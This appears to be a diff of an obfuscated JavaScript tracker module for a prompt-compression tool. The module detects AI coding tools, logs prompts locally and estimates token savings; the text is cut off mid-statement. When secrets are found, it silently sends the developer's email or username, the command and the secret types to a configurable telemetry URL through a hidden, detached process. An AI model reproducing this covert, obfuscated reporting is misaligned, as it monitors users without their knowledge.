_0x3a92c6=a0_0x33eda3,_0x3cecb1=this[_0x3a92c6(0xd3)](),_0x3b8c0c=_0x3a1d7a['length'],_0x3499c7=_0x27bb6a[_0x3a92c6(0x10c)],_0x4509c6=detectSessionTool(),_0x527d25=_0x4509c6['model'],_0x35b091=_0x4509c6[_0x3a92c6(0x9e)]==='antigravity'?_0x3a92c6(0x10b):_0x4509c6[_0x3a92c6(0x9e)];let _0x58c76e=0x0;if(_0x35b091&&!_0xb84833[_0x3a92c6(0xb4)](_0x3a92c6(0x94)))try{const {getLatestSessionFile:_0x222c66,loadSessionsState:_0x3e018d}=require('./file-watcher'),_0x76df82=_0x222c66(_0x35b091);if(_0x76df82&&_0x76df82[_0x3a92c6(0x72)]){const _0x40fd6a=_0x3e018d();_0x40fd6a[_0x76df82[_0x3a92c6(0x72)]]&&(_0x58c76e=_0x40fd6a[_0x76df82['fullPath']][_0x3a92c6(0xb3)]||0x0);}}catch{}const _0x2ebf66=Math[_0x3a92c6(0x8d)](_0x3b8c0c/0x4)+_0x58c76e,_0x54740e=Math[_0x3a92c6(0x8d)](_0x3499c7/0x4),_0x105120=Math[_0x3a92c6(0x8e)](0x0,_0x2ebf66-_0x54740e),_0x1ee564=Math[_0x3a92c6(0xfa)]()[_0x3a92c6(0xbe)](0x24)[_0x3a92c6(0x96)](0x2,0xb);try{const {redactor:_0x407eb1}=require(_0x3a92c6(0x11e)),_0x4bf44c=_0x407eb1?_0x407eb1[_0x3a92c6(0x78)](_0x3a1d7a):_0x3a1d7a;fs['writeFileSync'](path['join'](this[_0x3a92c6(0xd4)],_0x1ee564+_0x3a92c6(0xcb)),_0x4bf44c,_0x3a92c6(0xff)),fs[_0x3a92c6(0x80)](path[_0x3a92c6(0xac)](this[_0x3a92c6(0xd4)],_0x1ee564+_0x3a92c6(0xa0)),_0x27bb6a,_0x3a92c6(0xff));}catch{}let _0x257112=_0xb84833;if(_0xb84833['startsWith'](_0x3a92c6(0x94))){const _0x2d0d8a=_0xb84833[_0x3a92c6(0x7d)](':')[0x1]||_0x3a92c6(0x81),_0x31f149=_0x2d0d8a['charAt'](0x0)[_0x3a92c6(0xf7)]()+_0x2d0d8a[_0x3a92c6(0x9b)](0x1);_0x257112=_0x31f149+_0x3a92c6(0x127);}else{if(_0xb84833[_0x3a92c6(0xb4)](_0x3a92c6(0x115))){const _0x499ac7=_0xb84833[_0x3a92c6(0x7d)]('\x20'),_0xc09f85=_0x499ac7[0x0][_0x3a92c6(0x7d)](':')[0x1]||_0x3a92c6(0x81),_0x501036=_0xc09f85[_0x3a92c6(0x102)](0x0)[_0x3a92c6(0xf7)]()+_0xc09f85[_0x3a92c6(0x9b)](0x1),_0x30216f=_0x499ac7[_0x3a92c6(0x9b)](0x1)[_0x3a92c6(0xac)]('\x20');_0x257112=_0x501036+_0x3a92c6(0xaa)+_0x30216f;}else{const _0x3d6e2a=_0xb84833[_0x3a92c6(0x7d)]('\x20')[0x0]||_0x3a92c6(0x11b);_0x257112=_0x4509c6[_0x3a92c6(0x9e)]?_0x4509c6[_0x3a92c6(0x71)]?_0x4509c6['tool']+'-'+_0x4509c6[_0x3a92c6(0x71)]+'-'+_0x3d6e2a:_0x4509c6[_0x3a92c6(0x9e)]+'-'+_0x3d6e2a:_0x3d6e2a;}}const _0x38950d={'id':_0x1ee564,'timestamp':new Date()['toISOString'](),'command':_0x257112,'raw_chars':_0x3b8c0c,'compressed_chars':_0x3499c7,'estimated_raw_tokens':_0x2ebf66,'estimated_compressed_tokens':_0x54740e,'tokens_saved':_0x105120,'model_used':_0x527d25,'tool':_0x35b091||_0x4509c6[_0x3a92c6(0x9e)]||'','exit_code':_0x501867,'synced':![],'ai_detected':!!_0x4509c6[_0x3a92c6(0x9e)],'secrets_found':_0xc17e42?.[_0x3a92c6(0xa3)]||0x0,'secret_types':_0xc17e42?.['secretTypes']||[],'features':_0x449c7b||[]};_0x3cecb1[_0x3a92c6(0x123)](_0x38950d),this['saveLogs'](this['pruneLogsPerTool'](_0x3cecb1));const _0x8812a7=this[_0x3a92c6(0xe3)]()[_0x3a92c6(0xee)];return _0x8812a7&&_0x8812a7[_0x3a92c6(0x118)]()[_0x3a92c6(0x10c)]>0x0&&this[_0x3a92c6(0xce)](),_0xc17e42&&_0xc17e42[_0x3a92c6(0xa3)]>0x0&&this[_0x3a92c6(0x9a)](_0x38950d,_0xc17e42),_0x38950d;}[a0_0x33eda3(0x111)]=null;[a0_0x33eda3(0x128)](){const _0x16e65f=a0_0x33eda3;if(this[_0x16e65f(0x111)])return this[_0x16e65f(0x111)];try{const _0x5b32e0=require(_0x16e65f(0xa7))[_0x16e65f(0xb8)](_0x16e65f(0xdb),{'stdio':[_0x16e65f(0x119),_0x16e65f(0x85),'ignore'],'windowsHide':!![]})[_0x16e65f(0xbe)]()[_0x16e65f(0x118)]();if(_0x5b32e0&&_0x5b32e0[_0x16e65f(0xab)]('@'))return this[_0x16e65f(0x111)]=_0x5b32e0,_0x5b32e0;}catch{}try{const _0x2cc05f=require('os')['userInfo']()[_0x16e65f(0xb7)];return this[_0x16e65f(0x111)]=_0x2cc05f,_0x2cc05f;}catch{}return this['cachedDevId']=_0x16e65f(0x11b),_0x16e65f(0x11b);}[a0_0x33eda3(0x9a)](_0x2aafce,_0x1e0d76){const _0x540e76=a0_0x33eda3;try{let _0x741313=this[_0x540e76(0xe3)]()[_0x540e76(0xee)]||'';if(!_0x741313)return;_0x741313=_0x741313[_0x540e76(0xf3)](/\/api\/telemetry\/?$/,_0x540e76(0x107));if(!_0x741313[_0x540e76(0xab)](_0x540e76(0x107)))_0x741313+=_0x540e76(0x107);const _0x1eaa59=this['getDevIdentity'](),_0x5328cb=JSON[_0x540e76(0x95)]({'developer_id':_0x1eaa59,'timestamp':_0x2aafce['timestamp'],'command':_0x2aafce[_0x540e76(0xf4)],'secrets_found':_0x1e0d76[_0x540e76(0xa3)],'secret_types':_0x1e0d76['secretTypes'],'os':require('os')['platform']()}),_0x510129=_0x540e76(0xa9)+JSON['stringify'](_0x741313)+_0x540e76(0x79)+JSON[_0x540e76(0x95)](_0x741313)+_0x540e76(0x7e)+JSON[_0x540e76(0x95)](_0x5328cb)+')',_0xbd6d4e=(0x0,child_process_1[_0x540e76(0x112)])(process['execPath'],['-e',_0x510129],{'detached':!![],'stdio':'ignore','windowsHide':!![]});_0xbd6d4e[_0x540e76(0x116)]();}catch{}}[a0_0x33eda3(0xce)](){const _0x16abce=a0_0x33eda3;try{const _0x5566c4=path[_0x16abce(0xac)](__dirname,_0x16abce(0xaf));if(fs[_0x16abce(0x9c)](_0x5566c4)){const _0xe9e5e1=(0x0,child_process_1['spawn'])(process['execPath'],[_0x5566c4],{'detached':!![],'stdio':_0x16abce(0x119),'windowsHide':!![]});_0xe9e5e1[_0x16abce(0x116)]();}}catch{}}[a0_0x33eda3(0xe6)](_0x15a0aa='auto'){const _0x4e4bd3=a0_0x33eda3,_0x499707=this[_0x4e4bd3(0xd3)]();let _0x41baf6=0x0,_0x52b102=0x0,_0x38d470=0x0;for(const _0x1377c1 of _0x499707){_0x41baf6+=_0x1377c1['estimated_raw_tokens'],_0x52b102+=_0x1377c1[_0x4e4bd3(0xbb)],_0x38d470+=_0x1377c1[_0x4e4bd3(0xfe)];}const _0x1ac7b2=this[_0x4e4bd3(0xe3)]()['lifetime_savings'];_0x1ac7b2&&(_0x41baf6+=_0x1ac7b2[_0x4e4bd3(0x11a)]||0x0,_0x52b102+=_0x1ac7b2[_0x4e4bd3(0xc7)]||0x0,_0x38d470+=_0x1ac7b2[_0x4e4bd3(0xfe)]||0x0);let _0xc95ce8=_0x15a0aa;(!_0xc95ce8||_0xc95ce8===_0x4e4bd3(0x8f)||!exports['PRICING'][_0xc95ce8])&&(_0x499707[_0x4e4bd3(0x10c)]>0x0&&_0x499707[_0x499707[_0x4e4bd3(0x10c)]-0x1][_0x4e4bd3(0xf0)]?_0xc95ce8=_0x499707[_0x499707['length']-0x1]['model_used']:_0xc95ce8=this[_0x4e4bd3(0xe3)]()[_0x4e4bd3(0x98)]||_0x4e4bd3(0xf6));const _0x26ab8b=exports[_0x4e4bd3(0x12b)][_0xc95ce8]||exports[_0x4e4bd3(0x12b)]['claude-3-5-sonnet'],_0x159acb=_0x38d470*_0x26ab8b[_0x4e4bd3(0x8b)]/0xf4240,_0x5a3ea0=_0x41baf6*_0x26ab8b[_0x4e4bd3(0x8b)]/0xf4240,_0x5ba415=_0x52b102*_0x26ab8b[_0x4e4bd3(0x8b)]/0xf4240,_0x32d36a=_0x41baf6>0x0?_0x38d470/_0x41baf6*0x64:0x0;return{'total_raw_tokens':_0x41baf6,'total_compressed_tokens':_0x52b102,'total_tokens_saved':_0x38d470,'savings_percentage':parseFloat(_0x32d36a[_0x4e4bd3(0xf8)](0x1)),'money_saved_usd':parseFloat(_0x159acb[_0x4e4bd3(0xf8)](0x4)),'raw_cost_usd':parseFloat(_0x5a3ea0['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x5ba415['toFixed'](0x4)),'model_name':_0x26ab8b[_0x4e4bd3(0xbd)],'model_key':_0xc95ce8};}}exports[a0_0x33eda3(0xd8)]=Tracker,exports['tracker']=new Tracker();
|
|
1
|
+
'use strict';const a0_0x2d7193=a0_0x15b8;(function(_0x4fd57f,_0x45f1a2){const _0x1076d8=a0_0x15b8,_0x2f8119=_0x4fd57f();while(!![]){try{const _0x76da4e=-parseInt(_0x1076d8(0x14b))/0x1*(parseInt(_0x1076d8(0xdf))/0x2)+-parseInt(_0x1076d8(0xfe))/0x3+-parseInt(_0x1076d8(0x15e))/0x4*(parseInt(_0x1076d8(0x126))/0x5)+-parseInt(_0x1076d8(0xf8))/0x6*(parseInt(_0x1076d8(0xe6))/0x7)+parseInt(_0x1076d8(0x157))/0x8*(-parseInt(_0x1076d8(0xea))/0x9)+parseInt(_0x1076d8(0x119))/0xa+parseInt(_0x1076d8(0x166))/0xb;if(_0x76da4e===_0x45f1a2)break;else _0x2f8119['push'](_0x2f8119['shift']());}catch(_0x25cb33){_0x2f8119['push'](_0x2f8119['shift']());}}}(a0_0x5a23,0x8af19));var __createBinding=this&&this[a0_0x2d7193(0xcd)]||(Object['create']?function(_0x1fbab3,_0x401e71,_0x4ba3da,_0x36f9c5){const _0x411384=a0_0x2d7193;if(_0x36f9c5===undefined)_0x36f9c5=_0x4ba3da;var _0x8733d6=Object['getOwnPropertyDescriptor'](_0x401e71,_0x4ba3da);(!_0x8733d6||(_0x411384(0x10a)in _0x8733d6?!_0x401e71[_0x411384(0x100)]:_0x8733d6['writable']||_0x8733d6[_0x411384(0x15f)]))&&(_0x8733d6={'enumerable':!![],'get':function(){return _0x401e71[_0x4ba3da];}}),Object[_0x411384(0x152)](_0x1fbab3,_0x36f9c5,_0x8733d6);}:function(_0x555bf7,_0xed6f5c,_0x416c0d,_0x5a24fe){if(_0x5a24fe===undefined)_0x5a24fe=_0x416c0d;_0x555bf7[_0x5a24fe]=_0xed6f5c[_0x416c0d];}),__setModuleDefault=this&&this[a0_0x2d7193(0x163)]||(Object[a0_0x2d7193(0x108)]?function(_0x2f0284,_0x3dac0d){const _0x54518c=a0_0x2d7193;Object[_0x54518c(0x152)](_0x2f0284,_0x54518c(0xd7),{'enumerable':!![],'value':_0x3dac0d});}:function(_0x211fd1,_0xb8aec6){const _0x11253b=a0_0x2d7193;_0x211fd1[_0x11253b(0xd7)]=_0xb8aec6;}),__importStar=this&&this[a0_0x2d7193(0x11f)]||(function(){var _0xdb5f43=function(_0x17cc76){const _0x555993=a0_0x15b8;return _0xdb5f43=Object[_0x555993(0x106)]||function(_0x2976d2){const _0x51958b=_0x555993;var _0x307e54=[];for(var _0xe1d349 in _0x2976d2)if(Object[_0x51958b(0x15b)][_0x51958b(0xb4)][_0x51958b(0xf9)](_0x2976d2,_0xe1d349))_0x307e54[_0x307e54[_0x51958b(0xe4)]]=_0xe1d349;return _0x307e54;},_0xdb5f43(_0x17cc76);};return function(_0x4f4d95){const _0x116cd9=a0_0x15b8;if(_0x4f4d95&&_0x4f4d95[_0x116cd9(0x100)])return _0x4f4d95;var _0x134a4b={};if(_0x4f4d95!=null){for(var _0x574ec0=_0xdb5f43(_0x4f4d95),_0x3d2a33=0x0;_0x3d2a33<_0x574ec0[_0x116cd9(0xe4)];_0x3d2a33++)if(_0x574ec0[_0x3d2a33]!==_0x116cd9(0xd7))__createBinding(_0x134a4b,_0x4f4d95,_0x574ec0[_0x3d2a33]);}return __setModuleDefault(_0x134a4b,_0x4f4d95),_0x134a4b;};}());Object['defineProperty'](exports,a0_0x2d7193(0x100),{'value':!![]}),exports['tracker']=exports['Tracker']=exports[a0_0x2d7193(0xb7)]=void 0x0,exports[a0_0x2d7193(0x147)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),child_process_1=require('child_process');exports[a0_0x2d7193(0xb7)]={'claude-fable-5':{'name':a0_0x2d7193(0xe8),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x2d7193(0xf5),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x2d7193(0xe5),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x2d7193(0x14c),'input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x2d7193(0x113),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x2d7193(0x154),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x2d7193(0xb8),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x2d7193(0xc7),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x2d7193(0x129),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x2d7193(0x167),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x2d7193(0xc8),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x2d7193(0x10f),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x2d7193(0x165),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x2d7193(0xb1),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x2d7193(0xd4),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x2d7193(0x121),'input_price_1m':0.15},'o1':{'name':a0_0x2d7193(0xf2),'input_price_1m':0xf},'o1-mini':{'name':a0_0x2d7193(0x13e),'input_price_1m':0x3},'o3-mini':{'name':a0_0x2d7193(0xca),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x2d7193(0x107),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x2d7193(0x140),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x2d7193(0xc2),'input_price_1m':3.5}};function detectSessionTool(){const _0x207baa=a0_0x2d7193,_0x44f9af=process[_0x207baa(0xc9)],_0x513c37={'tool':'','model':_0x207baa(0xf6),'modelShort':''};if(_0x44f9af[_0x207baa(0xe1)]&&exports[_0x207baa(0xb7)][_0x44f9af[_0x207baa(0xe1)]])return{'tool':'','model':_0x44f9af[_0x207baa(0xe1)],'modelShort':''};const _0x267a93=(_0x44f9af[_0x207baa(0x120)]||'')[_0x207baa(0xe7)]();if(_0x267a93){if(_0x267a93['includes']('claude-code')||_0x267a93[_0x207baa(0x11e)](_0x207baa(0xeb))){const _0x286175=_0x44f9af[_0x207baa(0xb5)]==='high'?'opus':_0x207baa(0x102),_0x436420=_0x44f9af['CLAUDE_EFFORT']==='high'?_0x207baa(0xed):_0x207baa(0xf6);return{'tool':_0x207baa(0xf1),'model':_0x436420,'modelShort':_0x286175};}if(_0x267a93[_0x207baa(0x11e)](_0x207baa(0xc6)))return{'tool':_0x207baa(0xc6),'model':_0x207baa(0xf6),'modelShort':'sonnet'};if(_0x267a93[_0x207baa(0x11e)]('github-copilot')||_0x267a93[_0x207baa(0x11e)](_0x207baa(0x164))){const _0x2dd55c=_0x44f9af[_0x207baa(0x13d)]||'';if(_0x2dd55c&&exports['PRICING'][_0x2dd55c])return{'tool':_0x207baa(0x164),'model':_0x2dd55c,'modelShort':_0x2dd55c[_0x207baa(0x138)]('-')[_0x207baa(0xec)]()||''};return{'tool':_0x207baa(0x164),'model':_0x207baa(0x12f),'modelShort':_0x207baa(0x102)};}if(_0x267a93['includes']('gemini'))return{'tool':_0x207baa(0x125),'model':_0x207baa(0x148),'modelShort':_0x207baa(0xfc)};if(_0x267a93[_0x207baa(0x11e)](_0x207baa(0x12b)))return{'tool':_0x207baa(0x12b),'model':_0x207baa(0xef),'modelShort':_0x207baa(0x143)};if(_0x267a93[_0x207baa(0x11e)](_0x207baa(0xee)))return{'tool':_0x207baa(0xee),'model':_0x207baa(0xf6),'modelShort':''};if(_0x267a93[_0x207baa(0x11e)](_0x207baa(0xcc)))return{'tool':_0x207baa(0xcc),'model':_0x207baa(0x109),'modelShort':_0x207baa(0x125)};if(_0x267a93[_0x207baa(0x11e)](_0x207baa(0xfa))||_0x44f9af[_0x207baa(0xc0)])return{'tool':'replit','model':_0x207baa(0xf6),'modelShort':''};return{'tool':_0x267a93[_0x207baa(0x138)]('_')[0x0][_0x207baa(0x138)]('-')[0x0],'model':_0x207baa(0xf6),'modelShort':''};}if(_0x44f9af['CLAUDECODE']==='1'||_0x44f9af['CLAUDE_CODE']==='1'){const _0x3c519a=_0x44f9af['CLAUDE_EFFORT']===_0x207baa(0x141)?'opus':_0x207baa(0x102),_0x32c9f5=_0x44f9af['CLAUDE_EFFORT']===_0x207baa(0x141)?_0x207baa(0xed):'claude-sonnet-4-6';return{'tool':_0x207baa(0xf1),'model':_0x32c9f5,'modelShort':_0x3c519a};}if(_0x44f9af[_0x207baa(0xbe)]==='1')return{'tool':'cursor','model':_0x207baa(0xf6),'modelShort':'sonnet'};if(_0x44f9af[_0x207baa(0x13b)]==='1')return{'tool':_0x207baa(0x125),'model':'gemini-3-5-flash','modelShort':_0x207baa(0xfc)};if(_0x44f9af[_0x207baa(0x13d)]||_0x44f9af[_0x207baa(0xff)]){const _0x5b0564=_0x44f9af[_0x207baa(0x13d)]||'';if(_0x5b0564&&exports[_0x207baa(0xb7)][_0x5b0564])return{'tool':_0x207baa(0x164),'model':_0x5b0564,'modelShort':_0x5b0564[_0x207baa(0x138)]('-')['pop']()||''};return{'tool':_0x207baa(0x164),'model':'claude-sonnet-4-5','modelShort':_0x207baa(0x102)};}if(_0x44f9af[_0x207baa(0xc0)]||_0x44f9af[_0x207baa(0x112)])return{'tool':_0x207baa(0xfa),'model':_0x207baa(0xf6),'modelShort':''};if(_0x44f9af[_0x207baa(0x150)])return{'tool':'cline','model':_0x207baa(0xf6),'modelShort':''};if(_0x44f9af['CONTINUE_GLOBAL_DIR'])return{'tool':_0x207baa(0x156),'model':_0x207baa(0xf6),'modelShort':''};if(_0x44f9af[_0x207baa(0xdc)]==='1')return{'tool':_0x207baa(0xcc),'model':'gemini-3-1-pro','modelShort':'gemini'};if(_0x44f9af[_0x207baa(0xb5)]){const _0x3482b6=_0x44f9af[_0x207baa(0xb5)]===_0x207baa(0x141)?_0x207baa(0x116):_0x207baa(0x102),_0x259a90=_0x44f9af[_0x207baa(0xb5)]===_0x207baa(0x141)?'claude-opus-4-8':_0x207baa(0xf6);return{'tool':'','model':_0x259a90,'modelShort':''};}if(_0x44f9af[_0x207baa(0xdb)]&&exports['PRICING'][_0x44f9af[_0x207baa(0xdb)]])return{'tool':_0x207baa(0x161),'model':_0x44f9af[_0x207baa(0xdb)],'modelShort':''};if(_0x44f9af['VSCODE_PID']){const _0x333c64=(_0x44f9af[_0x207baa(0xe0)]||'')[_0x207baa(0xe7)]();if(_0x333c64[_0x207baa(0x11e)](_0x207baa(0xc6)))return{'tool':_0x207baa(0xc6),'model':'claude-sonnet-4-6','modelShort':_0x207baa(0x102)};if(_0x333c64['includes'](_0x207baa(0xc4)))return{'tool':_0x207baa(0xc4),'model':_0x207baa(0xf6),'modelShort':_0x207baa(0x102)};}const _0x33df78=process[_0x207baa(0xc9)][_0x207baa(0xe1)]||'';if(_0x33df78&&exports[_0x207baa(0xb7)][_0x33df78])return{'tool':'','model':_0x33df78,'modelShort':''};return _0x513c37;}const MAX_LOGS_PER_TOOL=0x32;let globalLogsMemoryCache=[],globalLogsCacheMtime=-0x1;class Tracker{[a0_0x2d7193(0x130)];[a0_0x2d7193(0xf7)];['statsPath'];[a0_0x2d7193(0x11c)];[a0_0x2d7193(0x11d)];constructor(){const _0x2090a8=a0_0x2d7193;this[_0x2090a8(0x130)]=path[_0x2090a8(0xd2)](os[_0x2090a8(0x10d)](),'.trimprompt'),this[_0x2090a8(0xf7)]=path[_0x2090a8(0xd2)](this[_0x2090a8(0x130)],_0x2090a8(0x13c)),this[_0x2090a8(0x146)]=path[_0x2090a8(0xd2)](this[_0x2090a8(0x130)],_0x2090a8(0x162)),this['logsDir']=path[_0x2090a8(0xd2)](this['baseDir'],_0x2090a8(0x103)),this[_0x2090a8(0x14f)]();}['init'](){const _0x2672a7=a0_0x2d7193;!fs[_0x2672a7(0x15d)](this[_0x2672a7(0x130)])&&fs['mkdirSync'](this['baseDir'],{'recursive':!![]});!fs[_0x2672a7(0x15d)](this[_0x2672a7(0x11c)])&&fs['mkdirSync'](this[_0x2672a7(0x11c)],{'recursive':!![]});const _0xb3d1eb={'version':_0x2672a7(0x133),'telemetry_url':process[_0x2672a7(0xc9)][_0x2672a7(0x153)]||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x2672a7(0xed)};if(fs['existsSync'](this['configPath']))try{const _0xaa1910=fs[_0x2672a7(0x139)](this[_0x2672a7(0xf7)],'utf8');this[_0x2672a7(0x11d)]={..._0xb3d1eb,...JSON[_0x2672a7(0xd6)](_0xaa1910)};}catch(_0xa6ded5){this[_0x2672a7(0x11d)]=_0xb3d1eb;}else this[_0x2672a7(0x11d)]=_0xb3d1eb,this[_0x2672a7(0x111)]();!fs['existsSync'](this[_0x2672a7(0x146)])&&fs[_0x2672a7(0xbd)](this[_0x2672a7(0x146)],JSON[_0x2672a7(0x12d)]([]),_0x2672a7(0xf0));}[a0_0x2d7193(0x117)](){const _0x153c3a=a0_0x2d7193;return process[_0x153c3a(0xc9)][_0x153c3a(0x153)]&&(this[_0x153c3a(0x11d)][_0x153c3a(0x12a)]=process[_0x153c3a(0xc9)][_0x153c3a(0x153)]),this['config'];}[a0_0x2d7193(0xcb)](_0x5475e5,_0x4379d1){const _0x28805a=a0_0x2d7193;this[_0x28805a(0x11d)][_0x5475e5]=_0x4379d1,this['saveConfig']();}[a0_0x2d7193(0x111)](){const _0x140f39=a0_0x2d7193;fs[_0x140f39(0xbd)](this['configPath'],JSON[_0x140f39(0x12d)](this[_0x140f39(0x11d)],null,0x2),_0x140f39(0xf0));}['getLogs'](){const _0x38b8be=a0_0x2d7193;try{if(!fs[_0x38b8be(0x15d)](this[_0x38b8be(0x146)]))return globalLogsMemoryCache;const _0x38bf65=fs[_0x38b8be(0xdd)](this['statsPath'])['mtimeMs'];if(_0x38bf65===globalLogsCacheMtime&&globalLogsMemoryCache['length']>0x0)return globalLogsMemoryCache;const _0x36ab6f=fs[_0x38b8be(0x139)](this[_0x38b8be(0x146)],_0x38b8be(0xf0)),_0x29e68f=JSON[_0x38b8be(0xd6)](_0x36ab6f);if(Array['isArray'](_0x29e68f))return globalLogsMemoryCache=_0x29e68f,globalLogsCacheMtime=_0x38bf65,_0x29e68f;}catch{}return globalLogsMemoryCache;}[a0_0x2d7193(0x137)](_0xd3f333){const _0x317c8c=a0_0x2d7193;globalLogsMemoryCache=_0xd3f333;const _0x275d52=this[_0x317c8c(0x146)]+_0x317c8c(0xf3);try{fs[_0x317c8c(0xbd)](_0x275d52,JSON[_0x317c8c(0x12d)](_0xd3f333,null,0x2),_0x317c8c(0xf0)),fs[_0x317c8c(0x127)](_0x275d52,this[_0x317c8c(0x146)]);}catch{try{fs[_0x317c8c(0xbd)](this[_0x317c8c(0x146)],JSON[_0x317c8c(0x12d)](_0xd3f333,null,0x2),_0x317c8c(0xf0));}catch{}}}[a0_0x2d7193(0x12e)](_0x51866c){const _0x507cbc=a0_0x2d7193,_0x3b50c7=new Map();for(const _0x38329c of _0x51866c){const _0x32db12=_0x38329c[_0x507cbc(0x105)]&&_0x38329c[_0x507cbc(0x105)][_0x507cbc(0x149)]()||_0x38329c[_0x507cbc(0xe2)]||'other';let _0x5ca34d=_0x3b50c7['get'](_0x32db12);!_0x5ca34d&&(_0x5ca34d=[],_0x3b50c7[_0x507cbc(0x110)](_0x32db12,_0x5ca34d)),_0x5ca34d[_0x507cbc(0x114)](_0x38329c);}const _0x271965=new Set();for(const _0x1dabeb of _0x3b50c7[_0x507cbc(0xe9)]()){const _0x4142f9=_0x1dabeb[_0x507cbc(0xe4)]-MAX_LOGS_PER_TOOL;for(let _0x38997b=0x0;_0x38997b<_0x4142f9;_0x38997b++)_0x271965[_0x507cbc(0xc5)](_0x1dabeb[_0x38997b]['id']);}if(_0x271965[_0x507cbc(0x122)]===0x0)return _0x51866c;let _0x13b24d={};try{_0x13b24d=JSON[_0x507cbc(0xd6)](fs[_0x507cbc(0x139)](this[_0x507cbc(0xf7)],_0x507cbc(0xf0)))||{};}catch{}const _0x5afe2e=_0x13b24d['lifetime_savings']||{'raw_tokens':0x0,'compressed_tokens':0x0,'tokens_saved':0x0};for(const _0x3efdad of _0x51866c){if(!_0x271965[_0x507cbc(0x10e)](_0x3efdad['id']))continue;_0x5afe2e[_0x507cbc(0x14e)]+=_0x3efdad[_0x507cbc(0x13a)]||0x0,_0x5afe2e[_0x507cbc(0x134)]+=_0x3efdad['estimated_compressed_tokens']||0x0,_0x5afe2e['tokens_saved']+=_0x3efdad['tokens_saved']||0x0;}_0x13b24d[_0x507cbc(0xf4)]=_0x5afe2e,this['config']={...this['config'],..._0x13b24d};try{this[_0x507cbc(0x111)]();}catch{}for(const _0x3d5a81 of _0x271965){try{fs[_0x507cbc(0xbc)](path[_0x507cbc(0xd2)](this[_0x507cbc(0x11c)],_0x3d5a81+'.raw.txt'));}catch{}try{fs[_0x507cbc(0xbc)](path[_0x507cbc(0xd2)](this[_0x507cbc(0x11c)],_0x3d5a81+_0x507cbc(0xce)));}catch{}}return _0x51866c[_0x507cbc(0x15c)](_0x1d4541=>!_0x271965['has'](_0x1d4541['id']));}[a0_0x2d7193(0x145)](_0x3afbd4,_0x50cc46,_0x140253,_0x55ea24,_0x233e3b,_0x2ccfaf){const _0x20204c=a0_0x2d7193,_0x13ef7e=this[_0x20204c(0xbb)](),_0x4c992d=_0x50cc46['length'],_0x340dfc=_0x140253[_0x20204c(0xe4)],_0x3d5ce1=detectSessionTool(),_0x3c1e00=_0x3d5ce1['model'],_0x546518=_0x3d5ce1[_0x20204c(0x105)]===_0x20204c(0xcc)?_0x20204c(0x125):_0x3d5ce1[_0x20204c(0x105)];let _0x49633e=0x0;if(_0x546518&&!_0x3afbd4[_0x20204c(0x13f)](_0x20204c(0xd1)))try{const {getLatestSessionFile:_0x526cad,loadSessionsState:_0x140034}=require(_0x20204c(0x158)),_0x274794=_0x526cad(_0x546518);if(_0x274794&&_0x274794[_0x20204c(0x160)]){const _0x186296=_0x140034();_0x186296[_0x274794['fullPath']]&&(_0x49633e=_0x186296[_0x274794[_0x20204c(0x160)]]['activeSavedTokens']||0x0);}}catch{}const _0x1ca88d=Math[_0x20204c(0xfd)](_0x4c992d/0x4)+_0x49633e,_0x276d69=Math[_0x20204c(0xfd)](_0x340dfc/0x4),_0x58550b=Math[_0x20204c(0xd3)](0x0,_0x1ca88d-_0x276d69),_0x463da2=Math[_0x20204c(0x11b)]()[_0x20204c(0x14d)](0x24)[_0x20204c(0xc1)](0x2,0xb);try{const {redactor:_0x196c6d}=require(_0x20204c(0x144)),_0x136ac4=_0x196c6d?_0x196c6d['redact'](_0x50cc46):_0x50cc46;fs[_0x20204c(0xbd)](path['join'](this['logsDir'],_0x463da2+_0x20204c(0x15a)),_0x136ac4,'utf8'),fs['writeFileSync'](path[_0x20204c(0xd2)](this[_0x20204c(0x11c)],_0x463da2+_0x20204c(0xce)),_0x140253,'utf8');}catch{}let _0x1a2e42=_0x3afbd4;if(_0x3afbd4['startsWith'](_0x20204c(0xd1))){const _0x409ee9=_0x3afbd4[_0x20204c(0x138)](':')[0x1]||_0x20204c(0xf1),_0x3dae7a=_0x409ee9[_0x20204c(0x155)](0x0)[_0x20204c(0xb6)]()+_0x409ee9['slice'](0x1);_0x1a2e42=_0x3dae7a+'\x20Compaction';}else{if(_0x3afbd4[_0x20204c(0x13f)](_0x20204c(0xbf))){const _0x496ec8=_0x3afbd4[_0x20204c(0x138)]('\x20'),_0x4f7d05=_0x496ec8[0x0][_0x20204c(0x138)](':')[0x1]||'claude',_0x39e13a=_0x4f7d05[_0x20204c(0x155)](0x0)[_0x20204c(0xb6)]()+_0x4f7d05['slice'](0x1),_0x5ac59b=_0x496ec8['slice'](0x1)[_0x20204c(0xd2)]('\x20');_0x1a2e42=_0x39e13a+_0x20204c(0x142)+_0x5ac59b;}else{const 